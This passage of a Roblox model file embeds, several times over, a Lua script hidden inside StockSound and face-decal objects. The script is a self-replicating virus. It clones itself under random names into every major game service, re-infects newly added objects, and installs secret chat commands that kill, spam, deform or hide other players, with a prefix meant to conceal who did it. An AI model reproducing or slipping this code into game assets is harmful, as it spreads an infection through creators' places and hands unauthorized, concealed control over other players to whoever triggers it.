local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="Decal" referent="RBX512">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">face</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX513">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">w35uvc2q</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX514">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">vu3ymaj</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX515">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">gcl2hlra</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX516">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">sv1om4</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
